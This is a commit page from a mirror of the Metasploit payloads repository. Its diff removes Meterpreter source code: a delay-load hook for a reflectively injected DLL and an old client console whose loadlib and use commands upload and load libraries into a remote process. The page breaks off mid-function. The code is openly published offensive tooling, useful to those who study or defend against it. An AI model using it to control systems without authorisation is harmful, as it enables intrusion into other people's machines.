1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-20 14:39:22 +01:00

Land #389, remove delay loading, common.lib

This commit is contained in:
Brent Cook 2020-04-23 22:19:41 -05:00
commit e0f9b827a8
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
197 changed files with 21413 additions and 31592 deletions

View File

@ -1,74 +0,0 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "DelayLoadMetSrv.h"
#include "GetProcAddressR.h"
// The handle to the injected metsrv.dll, needed for delay loading...
HMODULE hMetSrv = NULL;
// All server extensions must support delay loading of metsrv.dll because this dll can be injected
// via reflective dll injection, as such normal calls to LoadLibrary/GetModuleHandle/GetProcAddress
// to resolve exports in metsrv.dll will not work as metsrv.dll will be 'invisible' to the native
// windows kernel32 api's. Theirfore we delay load metsrv.dll and intercept loading and resolving of
// its exports and resolve them using our own GetProcAddressR() function.
//
// To enable all of this in a new extnesion:
// 1. Add metsrv.dll to the DELAYLOAD option in the projects properties (Configuration->Linker->Input).
// 2. Add in the include file #include "DelayLoadMetSrv.h".
// 3. Add the macro "EnableDelayLoadMetSrv();" after all your includes.
// 4. Add the line "hMetSrv = remote->hMetSrv;" in your InitServerExtension() function.
//===============================================================================================//
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli )
{
switch( dliNotify )
{
case dliNotePreLoadLibrary:
// If we are trying to delay load metsrv.dll we can just return the
// HMODULE of the injected metsrv library (set in InitServerExtension).
if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 )
return (FARPROC)hMetSrv;
break;
case dliNotePreGetProcAddress:
// If we are trying to get the address of an exported function in the
// metsrv.dll we must use GetProcAddressR() in case the metsrv was loaded
// via reflective dll injection
if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 )
return GetProcAddressR( pdli->hmodCur, pdli->dlp.szProcName );
break;
default:
return NULL;
}
return NULL;
}
//===============================================================================================//

View File

@ -1,48 +0,0 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_DELAYLOADMETSRV_H
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_DELAYLOADMETSRV_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define DELAYIMP_INSECURE_WRITABLE_HOOKS
#include <Delayimp.h>
#pragma comment (lib,"Delayimp.lib")
// we use this like a macro to set the hook in an server extension that requires it
#define EnableDelayLoadMetSrv() PfnDliHook __pfnDliNotifyHook2 = delayHook; // set our delay loader hook, see DelayLoadMetSrv.c
extern HMODULE hMetSrv;
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -1,546 +0,0 @@
#include "metcli.h"
// Core console commands
extern DWORD cmd_open(Remote *remote, UINT argc, CHAR **argv);
extern DWORD cmd_read(Remote *remote, UINT argc, CHAR **argv);
extern DWORD cmd_write(Remote *remote, UINT argc, CHAR **argv);
extern DWORD cmd_close(Remote *remote, UINT argc, CHAR **argv);
extern DWORD cmd_interact(Remote *remote, UINT argc, CHAR **argv);
extern DWORD cmd_help(Remote *remote, UINT argc, CHAR **argv);
extern DWORD cmd_exit(Remote *remote, UINT argc, CHAR **argv);
extern DWORD cmd_loadlib(Remote *remote, UINT argc, CHAR **argv);
extern DWORD cmd_use(Remote *remote, UINT argc, CHAR **argv);
/*
* Local client core command line dispatch table
*/
ConsoleCommand consoleCommands[] =
{
// Core extensions
{ "Core", NULL, "Core feature set commands", 1 },
{ "open", cmd_open, "Opens a communication channel.", 0 },
{ "read", cmd_read, "Reads from a communication channel.", 0 },
{ "write", cmd_write, "Writes to a communication channel.", 0 },
{ "close", cmd_close, "Closes a communication channel.", 0 },
{ "interact", cmd_interact, "Switch to interactive mode with a channel.", 0 },
{ "help", cmd_help, "Displays a list of commands.", 0 },
{ "exit", cmd_exit, "Exits the client.", 0 },
// Feature extensions
{ "Features", NULL, "Feature extension commands", 1 },
{ "loadlib", cmd_loadlib, "Load a library on the remote machine.", 0 },
{ "use", cmd_use, "Use a feature module.", 0 },
// Terminator
{ NULL, NULL, NULL, 0 },
};
VOID console_read_thread_func(Remote *remote);
ConsoleCommand *extendedCommandsHead = NULL;
ConsoleCommand *extendedCommandsTail = NULL;
Channel *interactiveChannel = NULL;
DWORD interactiveChannelId = 0;
PCHAR inputBuffer = NULL;
ULONG inputBufferLength = 0;
HANDLE consoleReadThread = NULL;
/*
* Enable command history on the console and create the interactive console
* for future use.
*/
VOID console_initialize(Remote *remote)
{
BOOL (WINAPI *setConsoleInputExeName)(LPCSTR base) = NULL;
CHAR name[1024];
PCHAR slash;
float init = 1.1f; // VC++ requires float usage to use float libraries.
DWORD mode = 0;
DWORD tid;
do
{
// Locate the SetConsoleInputExeNameA routine for use with custom
// history tracking
if (!((LPVOID)setConsoleInputExeName =
(LPVOID)GetProcAddress(GetModuleHandle("kernel32"),
"SetConsoleInputExeNameA")))
break;
memset(name, 0, sizeof(name));
if (!GetModuleFileName(
GetModuleHandle(0),
name,
sizeof(name) - 1))
break;
if (!(slash = strrchr(name, '\\')))
break;
// investigate
setConsoleInputExeName(name);
// Set the console window's title
SetConsoleTitle("meterpreter");
consoleReadThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)console_read_thread_func, remote,
0, &tid);
} while (0);
}
/*
* Write a format string buffer to the console
*/
VOID console_write_output(LPCSTR fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stdout, fmt, ap);
va_end(ap);
}
/*
* Write raw output to the console
*/
VOID console_write_output_raw(PUCHAR buf, ULONG length)
{
HANDLE pStdout = GetStdHandle(STD_OUTPUT_HANDLE);
DWORD written = 0;
WriteFile(pStdout, buf, length, &written, NULL);
}
/*
* Write the console prompt to the screen
*/
VOID console_write_prompt()
{
fprintf(stdout, "meterpreter> ");
fflush(stdout);
}
/*
* Generic output of success/fail
*/
DWORD console_generic_response_output(Remote *remote, Packet *packet,
LPCSTR subsys, LPCSTR cmd)
{
DWORD res = packet_get_result(packet);
if (res == ERROR_SUCCESS)
console_write_output(
"\n"
INBOUND_PREFIX " %s: %s succeeded.\n", subsys, cmd);
else
console_write_output(
"\n"
INBOUND_PREFIX " %s: %s failed, result %lu.\n",
subsys, cmd, packet_get_result(packet));
console_write_prompt();
return res;
}
/*
* Check to see if an escape sequence has been sent to the console
*
* The escape sequence is: ESC
*/
BOOL console_check_escape_sent()
{
BOOL escapeSent = FALSE;
INPUT_RECORD r[32];
DWORD numRead = 0;
if (PeekConsoleInput(GetStdHandle(STD_INPUT_HANDLE),
r, 32, &numRead))
{
DWORD index = 0;
for (index = 0;
(!escapeSent) && (index < numRead);
index++)
{
if (r[index].EventType != KEY_EVENT)
continue;
// If the control key is pressed and the VK is escape..
if (r[index].Event.KeyEvent.wVirtualKeyCode == VK_ESCAPE)
escapeSent = TRUE;
}
}
return escapeSent;
}
/*
* Set the interactive channel for input/output overriding
*/
VOID console_set_interactive_channel(Remote *remote, Channel *channel)
{
// If an interactive channel is use, unset the interactive flag
if (interactiveChannel)
channel_interact(interactiveChannel, remote, NULL, 0, FALSE,
NULL);
interactiveChannel = channel;
interactiveChannelId = (channel) ? channel_get_id(channel) : 0;
}
/*
* Get the interactive channel descriptor
*/
Channel *console_get_interactive_channel()
{
return interactiveChannel;
}
/*
* Get the interactive channel indentifier, if any
*/
DWORD console_get_interactive_channel_id()
{
return interactiveChannelId;
}
/*
* Process a remote cmomand when data is available
*/
DWORD console_remote_notify(Remote *remote, HANDLE notify)
{
DWORD res;
ResetEvent(notify);
res = command_process_remote(remote, NULL);
return res;
}
/*
* Process console commands in a loop
*
* I would use the scheduler but allowing the file descriptor to drop
* into non-blocking mode makes things annoying.
*/
VOID console_process_commands(Remote *remote)
{
SOCKET fd = remote_get_fd(remote);
struct timeval tv;
fd_set fdread;
LONG r;
console_write_prompt();
// Execute the scheduler in a loop
while (1)
{
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
tv.tv_sec = 0;
tv.tv_usec = 100;
if ((r = select(fd + 1, &fdread, NULL, NULL, &tv)) > 0)
{
LONG bytes = 0;
ioctlsocket(fd, FIONREAD, &bytes);
if (bytes == 0)
{
console_write_output(
"\n"
"Connection reset by peer.\n");
break;
}
command_process_remote(remote, NULL);
}
else if (r < 0)
break;
scheduler_run(remote, 0);
}
}
VOID console_read_thread_func(Remote *remote)
{
while (1)
console_read_buffer(remote);
}
/*
* Reads in data from the input device, potentially calling the
* command processing function if a complete command has been read.
*/
VOID console_read_buffer(Remote *remote)
{
DWORD newInputBufferLength, stringLength, offset;
Channel *interactiveChannel;
PCHAR newInputBuffer;
BOOL process = FALSE;
CHAR buf[4096];
PCHAR eoln, eolr;
LONG bytesRead;
// Ensure null termination
buf[sizeof(buf) - 1] = 0;
do
{
// Is there data available?
if (WaitForSingleObject(GetStdHandle(STD_INPUT_HANDLE), INFINITE)
!= WAIT_OBJECT_0)
break;
// If a console escape character was sent and we're currently interactive,
// break out of interactive mode
if ((console_check_escape_sent()) &&
(console_get_interactive_channel()))
{
console_set_interactive_channel(remote, NULL);
console_write_output(
"\n"
"\n"
"Exiting interactive mode..\n");
console_write_prompt();
}
// Read the command
if ((!ReadConsole(GetStdHandle(STD_INPUT_HANDLE),
buf, sizeof(buf) - 1, &bytesRead, NULL)) || (bytesRead <= 0))
break;
buf[bytesRead] = 0;
// If an interactive channel is in use, write directly to it.
if ((interactiveChannel = console_get_interactive_channel()))
{
channel_write(interactiveChannel, remote, NULL, 0, buf,
bytesRead, NULL);
break;
}
if ((eoln = strchr(buf, '\n')))
{
*eoln = 0;
process = TRUE;
}
// Remove end of line characters
if ((eolr = strchr(buf, '\r')))
*eolr = 0;
// Calculate lengths
stringLength = strlen(buf);
newInputBufferLength = inputBufferLength + stringLength;
if (inputBuffer)
newInputBuffer = (PCHAR)realloc(inputBuffer,
newInputBufferLength);
else
newInputBuffer = (PCHAR)malloc(++newInputBufferLength);
// Allocation failure?
if (!newInputBuffer)
break;
if ((offset = inputBufferLength))
offset--;
// Copy the string
memcpy(newInputBuffer + offset, buf, stringLength);
// Update the input buffer
inputBuffer = newInputBuffer;
inputBufferLength = newInputBufferLength;
// Process the full command line if it's completed
if (process)
{
inputBuffer[inputBufferLength - 1] = 0;
client_acquire_lock();
console_process_command(remote);
client_release_lock();
free(inputBuffer);
inputBuffer = NULL;
inputBufferLength = 0;
console_write_prompt();
}
} while (0);
}
/*
* Parse the local command into an argument vector
*
* TODO:
*
* - Add character unescaping (\x01)
*/
VOID console_process_command(Remote *remote)
{
CHAR **argv = NULL, *current;
ConsoleCommand *command = NULL;
UINT argc, index;
do
{
// Calculate the number of arguments
for (current = inputBuffer, argc = 1;
current = strchr(current, ' ');
current++, argc++);
current = inputBuffer;
index = 0;
if (!(argv = (CHAR **)malloc(sizeof(PCHAR) * argc)))
break;
// Populate the argument vector
while (1)
{
CHAR *space = NULL, *edquote = NULL;
// If the first character of the current argument is a quote,
// find the next quote.
if (current[0] == '"')
{
if ((edquote = strchr(current + 1, '"')))
*edquote = 0;
}
else if ((space = strchr(current, ' ')))
*space = 0;
// If we're using quoting for this argument, skip one past current.
argv[index++] = _strdup(current + ((edquote) ? 1 : 0));
current = ((edquote) ? edquote : space) + 1;
if (space)
*space = ' ';
else if (edquote)
*edquote = '"';
else
break;
}
// Find the command
for (index = 0;
consoleCommands[index].name;
index++)
{
if (!strcmp(consoleCommands[index].name, argv[0]))
{
command = &consoleCommands[index];
break;
}
}
// If the command was not found in the default command list, try looking
// in the extended list
if (!command)
{
for (command = extendedCommandsHead;
command;
command = command->next)
{
if (!strcmp(command->name, argv[0]))
break;
}
}
// The command was not found.
if ((!command) || (!command->name))
break;
command->handler(remote, argc, argv);
} while (0);
// Cleanup argv
if (argv)
{
for (index = 0;
index < argc;
index++)
free(argv[index]);
free(argv);
}
}
/*
* Dynamically registers a client command
*/
DWORD console_register_command(ConsoleCommand *command)
{
ConsoleCommand *newConsoleCommand;
if (!(newConsoleCommand = (ConsoleCommand *)malloc(sizeof(ConsoleCommand))))
return ERROR_NOT_ENOUGH_MEMORY;
memcpy(newConsoleCommand, command, sizeof(ConsoleCommand));
if (extendedCommandsTail)
extendedCommandsTail->next = newConsoleCommand;
newConsoleCommand->prev = extendedCommandsTail;
newConsoleCommand->next = NULL;
extendedCommandsTail = newConsoleCommand;
if (!extendedCommandsHead)
extendedCommandsHead = newConsoleCommand;
return ERROR_SUCCESS;
}
/*
* Dynamically deregisters a client command
*/
DWORD console_deregister_command(ConsoleCommand *command)
{
ConsoleCommand *current, *prev;
DWORD res = ERROR_NOT_FOUND;
// Search the extension list for the command
for (current = extendedCommandsHead, prev = NULL;
current;
prev = current, current = current->next)
{
if (strcmp(command->name, current->name))
continue;
if (prev)
prev->next = current->next;
else
extendedCommandsHead = current->next;
if (current->next)
current->next->prev = prev;
if (current == extendedCommandsTail)
extendedCommandsTail = current->prev;
// Deallocate it
free(current);
res = ERROR_SUCCESS;
break;
}
return res;
}

View File

@ -1,53 +0,0 @@
#ifndef _METERPRETER_CLIENT_CONSOLE_H
#define _METERPRETER_CLIENT_CONSOLE_H
#define OUTBOUND_PREFIX ">>>"
#define INBOUND_PREFIX "<<<"
VOID console_initialize();
/*
* Output processing
*/
LINKAGE VOID console_write_output(LPCSTR fmt, ...);
LINKAGE VOID console_write_output_raw(PUCHAR buf, ULONG length);
LINKAGE VOID console_write_prompt();
LINKAGE DWORD console_generic_response_output(Remote *remote, Packet *packet,
LPCSTR subsys, LPCSTR cmd);
/*
* Interact channel
*/
LINKAGE VOID console_set_interactive_channel(Remote *remote, Channel *channel);
LINKAGE Channel *console_get_interactive_channel();
LINKAGE DWORD console_get_interactive_channel_id();
/*
* Input processing
*/
typedef struct _ConsoleCommand
{
LPCSTR name;
DWORD (*handler)(Remote *remote, UINT argc, CHAR **argv);
LPCSTR help;
BOOL separator;
// Not stored
struct _ConsoleCommand *prev;
struct _ConsoleCommand *next;
} ConsoleCommand;
LINKAGE VOID console_read_buffer(Remote *remote);
LINKAGE VOID console_process_command(Remote *remote);
LINKAGE VOID console_process_commands(Remote *remote);
LINKAGE DWORD console_register_command(ConsoleCommand *command);
LINKAGE DWORD console_deregister_command(ConsoleCommand *command);
LINKAGE VOID console_register_core_commands();
LINKAGE VOID console_deregister_core_commands();
LINKAGE BOOL console_check_escape_sent();
#endif

View File

@ -1,716 +0,0 @@
#include "metcli.h"
extern ConsoleCommand consoleCommands[];
extern ConsoleCommand *extendedCommandsHead;
/*****************
* Command: help *
*****************/
VOID cmd_help_output_command(ConsoleCommand *command)
{
if (command->separator)
console_write_output(
"\n%13s %s\n"
" ------------ ---------------\n",
command->name, command->help);
else
console_write_output("%13s %s\n", command->name,
command->help);
}
/*
* Print the help banner
*/
DWORD cmd_help(Remote *remote, UINT argc, CHAR **argv)
{
ConsoleCommand *current;
DWORD index;
for (index = 0;
consoleCommands[index].name;
index++)
cmd_help_output_command(&consoleCommands[index]);
for (current = extendedCommandsHead;
current;
current = current->next)
cmd_help_output_command(current);
return ERROR_SUCCESS;
}
/*****************
* Command: open *
*****************/
/*
* Opens a logical channel with the remote endpoint that is not tied to
* a stream
*/
DWORD cmd_open(Remote *remote, UINT argc, CHAR **argv)
{
DWORD res;
if ((res = channel_open(remote, NULL, 0, NULL)) == ERROR_SUCCESS)
console_write_output(
OUTBOUND_PREFIX " CHANNEL: Requesting a new channel...\n");
else
console_write_output(
"Error: channel_open failed, result %lu.\n", res);
return res;
}
/*****************
* Command: read *
*****************/
/*
* Channel completion routine for reading from a channel
*/
DWORD cmd_read_channel_complete(Remote *remote, Channel *channel,
LPVOID context, DWORD result, PUCHAR buffer, ULONG bytesRead)
{
if (result == ERROR_SUCCESS && bytesRead > 0)
{
PCHAR tmp = (PCHAR)malloc(bytesRead + 1);
if (tmp)
{
// Copy the buffer into tmp and null terminate it
memcpy(tmp, buffer, bytesRead);
tmp[bytesRead] = 0;
console_write_output(
"\n"
INBOUND_PREFIX " CHANNEL: read %lu bytes from channel %lu:\n"
"%s"
"\n",
bytesRead, channel_get_id(channel), tmp);
free(tmp);
}
else
console_write_output(
"\n"
INBOUND_PREFIX " CHANNEL: read %lu bytes, local allocation failed.\n",
bytesRead);
}
else if (result != ERROR_SUCCESS)
console_write_output(
"\n"
INBOUND_PREFIX " CHANNEL: cmd_read failed, result %lu.\n", result);
console_write_prompt();
return ERROR_SUCCESS;
}
/*
* Reads in data from the remote endpoint of a channel
*/
DWORD cmd_read(Remote *remote, UINT argc, CHAR **argv)
{
ChannelCompletionRoutine complete;
DWORD channelId = 0, length = 4096;
DWORD res = ERROR_SUCCESS;
Channel *channel;
do
{
// Check to see if the supplied channel identifier is valid
if (argc == 1)
{
console_write_output("Usage: read channel_id [length]\n");
res = ERROR_INVALID_PARAMETER;
break;
}
channelId = strtoul(argv[1], NULL, 10);
// If a length was provided, use it.
if (argc > 2)
length = strtoul(argv[2], NULL, 10);
if (!(channel = channel_find_by_id(channelId)))
{
console_write_output("Error: Could not locate channel %lu.\n",
channelId);
break;
}
// Initialize the completion routine
memset(&complete, 0, sizeof(complete));
complete.routine.read = cmd_read_channel_complete;
// Read the data in.
if ((res = channel_read(channel, remote, NULL, 0, length,
&complete))
== ERROR_SUCCESS)
console_write_output(
OUTBOUND_PREFIX " CHANNEL: Requesting %lu bytes from channel %lu...\n",
length, channelId);
else
console_write_output("Error: channel_read failed, result %lu.\n", res);
} while (0);
return ERROR_SUCCESS;
}
/******************
* Command: write *
******************/
/*
* Completion routine for a previous write
*/
DWORD cmd_write_channel_complete(Remote *remote, Channel *channel,
LPVOID context, DWORD result, ULONG bytesWritten)
{
if (result == ERROR_SUCCESS)
console_write_output(
"\n"
INBOUND_PREFIX " CHANNEL: Wrote %lu bytes to channel %lu.\n",
bytesWritten, channel_get_id(channel));
else
console_write_output(
"\n"
INBOUND_PREFIX " CHANNEL: write failed, result %lu.\n",
result);
console_write_prompt();
return ERROR_SUCCESS;
}
/*
* Writes the supplied text to the remote end of the channel
*/
DWORD cmd_write(Remote *remote, UINT argc, CHAR **argv)
{
ChannelCompletionRoutine complete;
DWORD channelId = 0;
DWORD res = ERROR_SUCCESS;
Channel *channel;
DWORD length = 0;
LONG bytesRead;
PCHAR buffer = NULL;
CHAR chunk[2048];
chunk[sizeof(chunk) - 1] = 0;
do
{
// Check to see if the supplied channel identifier is valid
if (argc < 2)
{
console_write_output("Usage: write channel_id\n");
res = ERROR_INVALID_PARAMETER;
break;
}
channelId = strtoul(argv[1], NULL, 10);
if (!(channel = channel_find_by_id(channelId)))
{
console_write_output("Error: Could not locate channel %lu.\n",
channelId);
break;
}
console_write_output("Enter text, terminate with single-line '.':\n");
/*
* XXX: needs to not use stdin for non-cmd input
*/
while (fgets(chunk, sizeof(chunk) - 1, stdin))
{
PCHAR newBuffer;
if (chunk[0] == '.')
break;
bytesRead = strlen(chunk);
if (!buffer)
newBuffer = (PCHAR)malloc(bytesRead);
else
newBuffer = (PCHAR)realloc(buffer, length + bytesRead);
if (!newBuffer)
{
if (buffer)
free(buffer);
buffer = NULL;
break;
}
memcpy(newBuffer + length, chunk, bytesRead);
buffer = newBuffer;
length += bytesRead;
}
if (!buffer)
{
console_write_output(
"Error: No text was provided.\n");
break;
}
// Initialize the completion routine
memset(&complete, 0, sizeof(complete));
complete.routine.write = cmd_write_channel_complete;
// Read the data in.
if ((res = channel_write(channel, remote, NULL, 0, buffer,
length, &complete))
== ERROR_SUCCESS)
console_write_output(
OUTBOUND_PREFIX " CHANNEL: Writing %lu bytes to channel %lu...\n",
length, channelId);
else
console_write_output("Error: channel_write failed, result %lu.\n", res);
free(buffer);
} while (0);
return ERROR_SUCCESS;
}
/******************
* Command: close *
******************/
/*
* Closes a channel that was allocated with the remote endpoint
*/
DWORD cmd_close(Remote *remote, UINT argc, CHAR **argv)
{
DWORD res = ERROR_SUCCESS;
DWORD channelId;
Channel *channel;
do
{
if (argc == 1)
{
console_write_output(
"Usage: close channel_id\n");
res = ERROR_INVALID_PARAMETER;
break;
}
channelId = strtoul(argv[1], NULL, 10);
// Find the channel
if (!(channel = channel_find_by_id(channelId)))
{
console_write_output("Error: Could not locate channel id %lu.\n",
channelId);
res = ERROR_NOT_FOUND;
break;
}
if ((res = channel_close(channel, remote, NULL, 0, NULL))
== ERROR_SUCCESS)
console_write_output(
OUTBOUND_PREFIX " CHANNEL: Closing channel %lu...\n", channelId);
else
console_write_output("Error: channel_close failed, result %lu.\n",
res);
} while (0);
return res;
}
/*********************
* Command: interact *
*********************/
/*
* Completion routine for when interact responds
*/
DWORD cmd_interact_complete(Remote *remote, Channel *channel,
LPVOID context, DWORD result)
{
if (result == ERROR_SUCCESS)
{
console_write_output(
"\n"
INBOUND_PREFIX " CHANNEL: Started interactive with channel %lu..\n\n",
channel_get_id(channel));
console_set_interactive_channel(remote, channel);
}
else
{
console_write_output(
"\n"
INBOUND_PREFIX " CHANNEL: Failed to interact with channel %lu, result %lu.\n",
channel_get_id(channel));
console_write_prompt();
}
return ERROR_SUCCESS;
}
/*
* Switches to interactive mode with a a provided channel
*/
DWORD cmd_interact(Remote *remote, UINT argc, CHAR **argv)
{
ChannelCompletionRoutine complete;
DWORD res = ERROR_SUCCESS;
Channel *channel;
do
{
if (argc == 1)
{
console_write_output(
"Usage: interact channel_id\n");
res = ERROR_INVALID_PARAMETER;
break;
}
// Try to find the channel context from the supplied identifier
if (!(channel = channel_find_by_id(strtoul(argv[1], NULL, 10))))
{
console_write_output(
"Error: The channel identifier %s could not be found.\n",
argv[1]);
res = ERROR_NOT_FOUND;
break;
}
console_write_output(
OUTBOUND_PREFIX " CHANNEL: Switching to interactive console on %lu.\n",
channel_get_id(channel));
// Initialize the completion routine
memset(&complete, 0, sizeof(complete));
complete.routine.interact = cmd_interact_complete;
// Interact with the channel
res = channel_interact(channel, remote, NULL, 0, TRUE,
&complete);
} while (0);
return res;
}
/*****************
* Command: exit *
*****************/
/*
* Exit the client
*/
DWORD cmd_exit(Remote *remote, UINT argc, CHAR **argv)
{
exit(0);
return ERROR_SUCCESS;
}
/********************
* Command: loadlib *
********************/
/*
* Load library completion routine
*/
DWORD cmd_loadlib_complete(Remote *remote, Packet *packet, LPVOID context,
LPCSTR method, DWORD res)
{
return console_generic_response_output(remote, packet, "PROCESS", "loadlib");
}
/*
* Loads a library into the context of the remote process
*/
DWORD cmd_loadlib(Remote *remote, UINT argc, CHAR **argv)
{
PCHAR libraryPath = NULL, targetPath = NULL;
PacketRequestCompletion complete;
Packet *request = NULL;
BOOL printBanner = FALSE;
DWORD res = ERROR_SUCCESS;
ArgumentContext arg;
DWORD flags = 0;
// Zero the argument context
memset(&arg, 0, sizeof(arg));
do
{
// No arguments?
if (argc == 1)
{
printBanner = TRUE;
break;
}
// Default to being a local (to the remote machine) library
flags |= LOAD_LIBRARY_FLAG_LOCAL;
// Parse the supplied arguments
while (args_parse(argc, argv, "f:t:lde", &arg) == ERROR_SUCCESS)
{
switch (arg.toggle)
{
case 'f':
libraryPath = arg.argument;
break;
case 't':
targetPath = arg.argument;
break;
case 'l':
// Unset the local library flag
flags &= ~(LOAD_LIBRARY_FLAG_LOCAL);
break;
case 'd':
flags |= LOAD_LIBRARY_FLAG_ON_DISK;
break;
case 'e':
flags |= LOAD_LIBRARY_FLAG_EXTENSION;
break;
default:
break;
}
}
if (!targetPath)
targetPath = libraryPath;
// Make sure that a library was supplied
if (!libraryPath)
{
console_write_output(
"Error: No library path was specified.\n");
break;
}
// Allocate the request packet
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
"core_loadlib")))
{
console_write_output(
"Error: Packet allocation failure.\n");
break;
}
// If the library is not local to the remote machine, parse the local
// copy into a data buffer to be transmitted to the remote host
if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
{
PUCHAR buffer;
ULONG length;
// Store the contents of the specified file in a buffer
if ((res = buffer_from_file(libraryPath, &buffer, &length))
!= ERROR_SUCCESS)
{
console_write_output(
"Error: The local file could not be parsed, result %lu.\n",
res);
break;
}
// Add the file's contents as a data tlv
packet_add_tlv_raw(request, TLV_TYPE_DATA, buffer,
length);
console_write_output(
OUTBOUND_PREFIX " PROCESS: Uploading local library '%s', %lu bytes.\n",
libraryPath, length);
free(buffer);
}
// Add the library path name & flags
packet_add_tlv_string(request, TLV_TYPE_LIBRARY_PATH,
libraryPath);
packet_add_tlv_uint(request, TLV_TYPE_FLAGS,
flags);
if (targetPath)
packet_add_tlv_string(request, TLV_TYPE_TARGET_PATH,
targetPath);
console_write_output(
OUTBOUND_PREFIX " PROCESS: Loading library from '%s' on remote machine.\n",
targetPath ? targetPath : libraryPath);
// Initialize the completion routine
memset(&complete, 0, sizeof(complete));
complete.routine = cmd_loadlib_complete;
// Transmit the request
res = packet_transmit(remote, request, &complete);
} while (0);
if (printBanner)
{
console_write_output(
"Usage: loadlib -f library [ -t target ] [ -lde ]\n\n"
" -f <file> The path to the library to load, whether local or remote.\n"
" -t <targ> The target file on the remote machine in which to store the library when uploading.\n"
" -l The library is local to the client machine, upload it to the remote machine.\n"
" -d When used with -l, this parameter indicates that the library should be saved to disk.\n"
" -e The library being loaded is a feature extension module, call its Init routine on load.\n");
}
return res;
}
/****************
* Command: use *
****************/
/*
* Use a feature module implementation, installing it both locally and remotely
*/
DWORD cmd_use(Remote *remote, UINT argc, CHAR **argv)
{
LPCSTR module = NULL, path = NULL;
PCHAR currentModule = NULL, comma;
BOOL printBanner = FALSE;
DWORD res = ERROR_SUCCESS;
CHAR clientLibraryPath[1024];
CHAR serverLibraryPath[1024];
BOOL diskOnly = FALSE;
ArgumentContext arg;
CHAR *loadlibArgv[6];
DWORD loadlibArgc = 0;
clientLibraryPath[sizeof(clientLibraryPath) - 1] = 0;
serverLibraryPath[sizeof(serverLibraryPath) - 1] = 0;
memset(&arg, 0, sizeof(arg));
do
{
// No arguments?
if (argc == 1)
{
printBanner = TRUE;
break;
}
// Parse the supplied arguments
while (args_parse(argc, argv, "m:p:d", &arg) == ERROR_SUCCESS)
{
switch (arg.toggle)
{
case 'm':
module = arg.argument;
break;
case 'p':
path = arg.argument;
break;
case 'd':
diskOnly = TRUE;
break;
default:
break;
}
}
// No module?
if (!module)
{
printBanner = TRUE;
break;
}
currentModule = (PCHAR)module;
// Enumerate through the comma delimited module list
while (currentModule)
{
comma = strchr(currentModule, ',');
if (comma)
*comma = 0;
// Populate the client and server path buffers
